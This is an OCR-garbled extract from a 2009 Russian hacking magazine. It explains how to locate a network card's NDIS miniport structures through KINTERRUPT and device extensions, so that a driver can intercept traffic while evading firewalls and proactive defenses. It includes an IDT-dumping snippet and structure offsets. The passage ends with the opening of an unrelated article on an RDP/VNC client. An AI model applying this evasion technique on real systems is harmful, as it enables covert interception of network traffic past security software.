— процедураотложенныхвызовов). ISR являетсявысокоприоритетной процедурой, вызываемойприполучениипрерыванияотустройства (например, приполучениипакетаизсети). Вэтойпроцедуренеобходимо выполнитьрядсамыхнеобходимыхдействий, чтобынезадерживать надолговыполнениедругихпроцессов. Вчастности, — запретить устройствугенерироватьданноепрерывание. DPC имеетболеенизкий приоритетприпланированиипотоковивызываетсянепосредственно послеISR, еслиэтотребуется. ОбычновDPC производитсяобменданнымисустройством(например, программированиеконтроллераDMA дляпереписываниявновьпришедшегокадравоперативнуюпамять машиныизбуфернойпамятиустройства). Такойдрайвер, какправило, входитвпоставкусамойсетевойкарты.
Приразработкедрайверовсетевыхкартразработчикдолженчетко следоватьправилам, установленнымтойилиинойверсиейNDIS, потому
104 |
XÀÊÅÐ 09 /129/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
что, кактыпомнишь, NDIS именнотакипереводится— «Network Driver Interface Specification», тобишь— «спецификацияинтерфейсасетевогоустройства». Впрочем, заболееподробнымописаниемдействий разработчиковяотсылаютебякMSDN. Внастоящеевремяактуальной являетсякакNDIS 5.1 (w2k/XP/2003), таки6.0 (дляWindows Vista).
МИНИПОРТИВСЕ-ВСЕ-ВСЕ
ВядреминипортсетевойкартыпредставленввидеструктурыNDIS_ MINIPORT_BLOCK. ОназаполняетсякучейвсяческихданныхприрегистрацииминипортавызовомсистемнойфункцииNdisMRegisterMiniport. Этотвызовпроисходитвдрайвересетевойкартыприегозагрузке. NDIS_MINIPORT_BLOCK — однаизсамыхважныхструктурприработе ссетьюнанизкомуровне(науровнесетевойкарты). Описаниеееполей тыможешьнайтивхидере«ndis.h», нонадежнеебудетсдампитьее
изфайласимволовndis.pdb утилитойтипаpdbdump (http://pdbdump. sourceforge.net), потомучтоееструктураможетменятьсяотбилдакбилду ОСисильнозависитотверсииNDIS. ВэтойстатьеподразумеваетсяиспользованиеNDIS версии5.1.
Темнеменее, решая, например, задачифильтрации, мелкомягкие товарищистрогорекомендуютограничиваться«законными» идокументированнымиспособамифильтрованиясетевоготрафика, поскольку этаструктуракритическиважнадляжизнедеятельностиОСWindows и лишнийразеетрогатьнестоит. Нозапретныйплодсладок. Поэтомускажусуверенностью, чтовсесамоевкусноедляхакерасодержитсяименно вNDIS_MINIPORT_BLOCK. Кпримеру— функцияPacketIndicateHandler,
котораяуведомляетдрайверпротокола, чтомассивполученныхпакетов доступендлядальнейшейобработки, ипередаетейуказательнаданный массив.
«ТакпочемубынеполучитьуказательнаэтотсамыйNDIS_MINIPORT_ BLOCK идальшеработатьсним?», — спросишьты. Всязагвоздкав том, чтодляэтогонужносовершитьоченьмноготелодвиженийвядре Windows. Онибольшенапоминаюттанецслонавпосуднойлавке, что, естественно, непройдетнезамеченнымдляфайрвола. Скажем, извест-
СТРУКТУРАKINTERRUPT
ныйлегальныйспособполучениятакогоуказателявобобщенномвиде сводитсяквызовуNDIS-функцииNdisRegisterProtocol, — онавсегда перехватываетсяфайрволами, проактивнымизащитамииантивирусамивсехмастей. Чтоженамделать?
ВПОИСКАХУТРАЧЕННОГОKINTERRUPT’А
Еслиужнедаютпощупатьминипортнапрямую, то... поговоримопрерываниях. Да-да, именноопрерываниях. Речьпойдетнеопрямомперехватепрерываниядлясетевогоадаптера, — мыкопнемгораздоглубже. Кактызнаешь, всепрерываниявОСWindows представленывядре
ввидетаблицыдескрипторов(векторов) прерыванийIDT(Interrupt Descriptor Table). Пригенерированиипрерыванияядропросматривает IDT ипономерупрерыванияпередаетуправлениепоадресу, соответствующемуномерупрерывания. ПросмотретьIDT можно, кпримеру, черезотладчикWinDBG припомощикоманды«!idt –a» — онавыведетна экрандампIDT.
ПрограммнымспособомзагрузкаIDT осуществляетсявызовомассемблернойкомандыsidt иможетвыглядетьтак:
ДАМПИМIDT
typedef struct _IDT{ WORD wLimit; DWORD dwBase;
}IDT, *PIDT;
VOID GetIDT(OUT PIDT pIdt){ __asm
{
MOV EAX, [pIdt] SIDT [EAX]
}
}
Думаю, кодпонятенбезслов: мыполучилиIDT вовсейкрасе. Ночтодальше? Еслиприглядетьсявнимательнее, томожноувидеть, чтонасамом делепривызовепрерываниясистеманевызываетфункциюпрерывания«железки» напрямую— преждеонадолжнапозаботитьсяомногих другихвещах. Систематакиделаетпутемначальноговызовафункции
KiInterruptTemplate.
АрхитектураОСWindows подразумевает, чтопривызовесистемной функцииKiInterruptTemplate системадолжнасохранитьконтекст потокаитолькозатемвызватьфункциюобработкипрерывания
XÀÊÅÐ 09 /129/ 09 |
105 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
CODING |
|
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ТАБЛИЦАПРЕРЫВАНИЙIDT |
ISR ДРАЙВЕРАСЕТЕВОЙ КАРТЫ И |
|
ЕЕ KINTERRUPT |
||
|
HTTP://WWW
links
Чтобылучше ориентироваться вядрокопаниина сетевомуровнеине
только, советуюсетевойжурналPhrack за номером0x41. Адля лучшегопонимания работысистемного механизмаDPC, рекомендуюстатью
«Advanced DPCs»
М.Руссиновича
(http://technet. microsoft.com).
DVD |
dvd
Надискележатисходникидрайверов, реализующихприемы программирования, исследуемые встатье, атакжетул-
зы, которыепомогут тебевизученииядра.
KiDispatchInterrupt, которойвкачествепараметрабудет передансохраненныйуказательна«объектпрерывания», представленныйоченьинтереснойструктурой
KINTERRUPT.
ИтолькозатемпередаетсяуправлениеISR той«железки», котораясгенерировалапрерывание. ЕслидиззасемблироватьфункциюKiInterruptTemplate, тоименноэтомыи увидим.
ПлясатьбудемотструктурыKINTERRUPT, темболее, она встречаетсякаквNDIS 5.1, такивNDIS 6.0 идлязавладенияядромнамнужнополучитьуказательнанее. Какэтого добиться?
Прощевсего— пополученномууказателюнафункцию KiInterruptTemplate (частоэтоиестьвыдранныйадресиз IDT), диззассемблироватьегонапредметпоискаинструк-
ции«mov edi, PKINTERRUPT». Еслинайдем, тодалее можносделатьследующее: запомнитьадресKINTERRUPT
ипереходитьковторомуспособу(описанномуниже) либо заменитьреальныйKINTERRUPT насвойсобственный, подменивтусамуюфункциюDpcForIsr — функциюотложеннойобработкипрерывания. Такмыполучимдоступк данным, пришедшимпосети. Здесьрассматриватьспособ подменыDpcForIsr мынебудемиз-заегогромоздкости. Болееподробноонемможнопрочитатьвстатье«Stealth Hooking: another way to subvert the Windows kernel» (http:// phrack.org).
Наслучай, еслимыненашлиKINTERRUPT минипортасетевогоадаптера, самоевремявспомнить, чтопомимовсего прочего, вядресуществуетпеременнаяInterruptListEntry. ОнапредставляетсобойкруговойсписокLIST_ENTRY, содержащийвсебевсеуказателиназарегистрированныевсистеместруктурыKINTERRUPT. Достаточнонайти первыйпопавшийся, адалее— ULONG KINTERRUPTLink
=(ULONG)&(((PKINTERRUPT)(AddressHandler))- >InterruptListEntry), гдеAddressHandler естьадреслюбой структурыKINTERRUPT всистеме.
Нуикаквариантнапоследок— можновядреперехватить
идизассемблироватьфункциюобработкипрерываний
KiDispatchInterrupt; ейвкачествеодногоизпараметров передаетсяуказательнаKINTERRUPT. Этоотнюдьнелегкий способ, посколькутребуетотличногознанияработысистемыпрерыванийвядреWin.
Вот, впринципе, ивсе. ПосленахожденияоднимизприведенныхспособовKINTERRUPT, относящегосякпрерываниюсетевогоадаптера, можносчитать, чтосетеваякартау насвкармане.
УДАЛЕНИЕГЛАНДЧЕРЕЗ…
Итак, мыовладелиKINTERRUPT. Заметь, несделалипри этомничеготакого, чтомоглобыпривлечьвниманиебдительныхпроактивок. Чтодальше?
ЕслиМухаммеднеидеткгоре, значит, гораидеткМухаммеду. Такпоступимимы, чтобызаполучитьвожделенный
NDIS_MINIPORT_BLOCK.
ВядреWindows значительноеколичествоклассовэлементовпредставленыввидеустройств(да, девайсов), причем этокасаетсянетолькофизическихустройств, ноиустройств виртуальных. Тип«устройство», кпримеру, имеюттакие эфемерныевещи, какпротоколысети— TCP, IP, UDP — вид «\Device\Tcp». Просмотретьсписокдевайсов, зарегистрированныхвсистеме, можноспомощьюзамечательной утилиты«Windows Object Explorer» отFour-F.
Едемдальше. Находясьвнезнакомойобстановкеинезная имениосновногосетевогодевайса, соответствующего сетевойкарте, минипортнайтибудетдовольносложно. Но, комбинируяприведенныездесьспособы, можносопределеннойдолейвезениявсежедобитьсясвоего. Реализуемследующийалгоритм: сначаланаходимвсезарегистрированныедевайсывсистеме, открывдиректорию
«\Device». Вциклеполучаемуказателинадевайсывызовом ObOpenObjectByName; пополученномууказателювызовом
ObReferenceObjectByHandle иIoGetDeviceObjectPointer
получаемуказательнаDEVICE_OBJECT, азатемоставляем те, которыеимеюттип, равный0х17, тоестьFILE_DEVICE_ PHYSICAL_NETCARD. Такимобразом, мыполучимвсе устройства, относящиесяксетевомуинтерфейсусисте-
106 |
XÀÊÅÐ 09 /129/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
||
|
|
X |
|
|
|
|
|
||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
|
|||
|
|
|
|
|
BUY |
|
|
||
|
|
|
|
to |
|
|
|
|
|
w Click |
|
|
|
|
m |
||||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
-x cha |
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
СПИСОКУСТРОЙСТВ, УСТАНОВЛЕННЫХ В СИСТЕМЕ
мы. Оговорюсьсразу, девайсовстипомFILE_DEVICE_ PHYSICAL_NETCARD всистеме, как правило, несколькои, чтобынайтинужный, придетсяихотфильтровывать. Например, поименидрайвера, котороехранитсявполеDRIVER_ OBJECT.DriverName посмещениюDEVICE_OBJECT + 0x8. А
вотужедальше, скомбинировавполученныеранеезнания, можнонайтинужныйнамминипорт. Вседеловтом, что правиладизайнаWDM (Windows Driver Model) требуютот разработчикадрайверовсозданиянекойструктурыпод названием«Device Extension», гдепрограммистдолжен хранитьпеременные, поляиструктуры, описывающиету илииную«железку», подкоторуюпишетсядрайвер.
Еслиприсмотреться, товструктуреDEVICE_OBJECT по смещению0x28 имеетсяполетипаvoid*, которое, собственно, иуказываетнасозданнуюразработчикомструктуру DeviceExtension. Тольконеследуетеепутатьс«официально прикрепленной» структуройDEVOBJ_EXTENSION, которая идетдалее, посмещению0хb0. Чтоэтонамдаст? Атеперь внимание: какнепреложноеправило, разработчикивуказаннойструктуресохраняютполученныйвходеинициализацииминипортауказательнаструктуруNDIS_MINIPORT_ INTERRUPT (которыйвозвращаетсявызовомфункции NdisMRegisterInterrupt). Есливсвоюочередьпосмотреть наэтуструктуру, томыувидим, чтопосмещению0x34 находитсяискомыйуказательнаNDIS_MINIPORT_BLOCK. ПричемтутполученныйранееадресKINPTERRUPT? Если ещеразглянутьнаNDIS_MINIPORT_INTERRUPT, толегко увидеть, чтопервоеполевэтойструктуреиестьуказатель наKINTERRUPT. Выходит, найдяразыменованныйадрес KINTERRUPT, можнозаполучитьуказательнаNDIS_ MINIPORT_INTERRUPT… адальше— всепросто: добавляем
0x34 иполучаемуказательнаNDIS_MINIPORT_BLOCK.
Подведячертувышеизложенномубредувоспаленногосознания, мыполучимфинальныйалгоритм: ищемуказательна
DEVICE_OBJECT стипомFILE_DEVICE_PHYSICAL_NETCARD,
находимуказательнаDeviceExtension и, начинаясданного адреса, шаримсяпопамятивпоискахразыменованного PKINTERRUPT, полученногооднимизвышеприведенных способов. Еслинаходим— радостноидемпитьпиво. Если нет— чтоже, можетбыть, сегоднянеденьБэкхема.
ЗАКЛЮЧЕНИЕ
Нескрою, способсложнореализуем, ненадеженитребует определеннойдоработки. Ктомуже, онгодитсятолькодля драйверовминипортаверсииNDIS 5.1. Еслитыиспользу-
ешьVista, тамужебудетвызовNdisMRegisterInterruptEx,
которыйдействуетнемногопо-другому. Нообэтоммы поговоримпозже. Всвязисдовольнобольшимобъемом кода, приводитьегоздесьнепрактично, поэтомудрайвер, реализующийуказанныйприем, ищинадиске.
Чтожемыполучиливрезультате? Мыполучилибольшой бонус— драйвер, способныйперехватыватьиконтролироватьсетевыеоперациивядреикорректироватьихпомере необходимости. Приэтоммынезатронулитекритически важныедляоперационнойсистемывещи, которыеобычно контролируютсяпроактивнымизащитами. Получилосьне толькооченьэлегантно, новполнеработоспособно. Яне ставилцельюпредоставитьтебеготовоерешение, алишь хотелпоказать, чтодажевсамыхсуровыхусловияхможно найтидлясвоейпрограммыспособвыживаниявсистеме. Все, чтодляэтогонужно— задатьсебевопрос: «Ачто, если...?». Удачи! z
INFO |
info
Обязательносоветуюустановить
VisualDDK, которая здоровопомогает приразработке драйверов(http:// sourceforge.net/ projects/visualddk).
Еетытакжесможешь найтинадиске. Еслиестьвопросы— пиши, обсудим.
WARNING |
warning
Рассматриваемый встатьекодсправед-
ливдляW2k/XP/2003. ВWindows Vista эти приемыработатьне будут.
XÀÊÅÐ 09 /129/ 09 |
107 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
CODING |
|
|
w Click |
|
|
|
|
|
m |
ИГОРЬ АНТОНОВ ANTONOV.IGOR.KHV@GMAIL.COM, WWW.VR-ONLINE.RU |
|||||
|
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
o |
|
|||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
АДМИНИМ ПО-КОДЕРСКИ
МассовоепроизводствоRDP иVNC клиентов
Намоейосновнойработемнеприходитсязаниматьсяадминистрированиемсерверовирабочихстанцией, работающихподуправлением Windows/Linux. КсерверамяпривыкподключатьсячерезстандартныйRDP, адлясоединениясрабочимиместамипользователейчаще предпочитаюиспользоватьоднуизмодификацийVNC.
ФункциональностьRDP иVNC меняполностьюудовлетворяет, заисключениемодного«но». Приинтенсивной работемойрабочийстолзахламляетсякопиямиприложенийTightVNC иmstsc. Бывает, работаешьстремя
серверами, атуттебезвонитпользовательислезнопроситпомочь. Хочетсяилинет, априходитсясворачиватьокнаmstsc изапускатьконсольTightVNC. Врезультате, рабочийстолбыстропревращаетсявхаос, состоящийизоткрытыхоконmstsc иTightVNC. Найтивтакомбардаке окноснужнымсеансомкрайнепроблематично.
Однаждыменявсеэтоокончательнодостало, иярешилвочтобытони сталоисправитьситуацию. Чтоизэтогополучилось, тыузнаешьпоходу чтенияэтойстатьи.
ПУТЬСМЕРТНОГО
Пожалуй, самымпростымспособомрешенияпроблемыбудетпоиски внедрениеготовогоклиента-комбайна, поддерживающегопротоколы RDP иVNC. Способ, несомненно, хорош, аглавное, временинаегореализациюпрактическинетратится. Утилитпрудпруди, успевайтолько
выбирать. Но, отдаваяпредпочтениеготовомусофту, тыавтоматически становишьсяобладателемвсехегоплюсовиминусов. Средиосновныхминусовобычновыступаетцена. Продвинутыйсофтстоитденег, а бесплатныйредкообладаетвсеминеобходимымифункциями. Всвое времяменяэтонеустроило, иярешилпойтипонетоптанойдорожке.
ПУТЬДЖЕДАЯ
Вооружившисьсишарпом, язадумалсоздатьклиент, способныйподдерживатьподключенияпопротоколамRDP иVNC. Решитьпроблему открытыхоконязапланировалспомощьюхорошопроверенногометода
— использованиявкладок. Ачто? ВсеWEB-браузеры, втомчислеи хромойосликИА, открываютновыестраницывотдельномтабе. Юзеры фичейдовольны, иужениодногоизнихнезаставишьотнееотказаться. Темболее, взаголовкетабаможнопрописыватьназваниесервера.
RDP
ДляорганизацииподдержкипротоколаRDP обратимсязапомощью кCom-компоненту— Microsoft RDP Client. Пользоватьсякомпонен-
108 |
XÀÊÅÐ 09 /129/ 09 |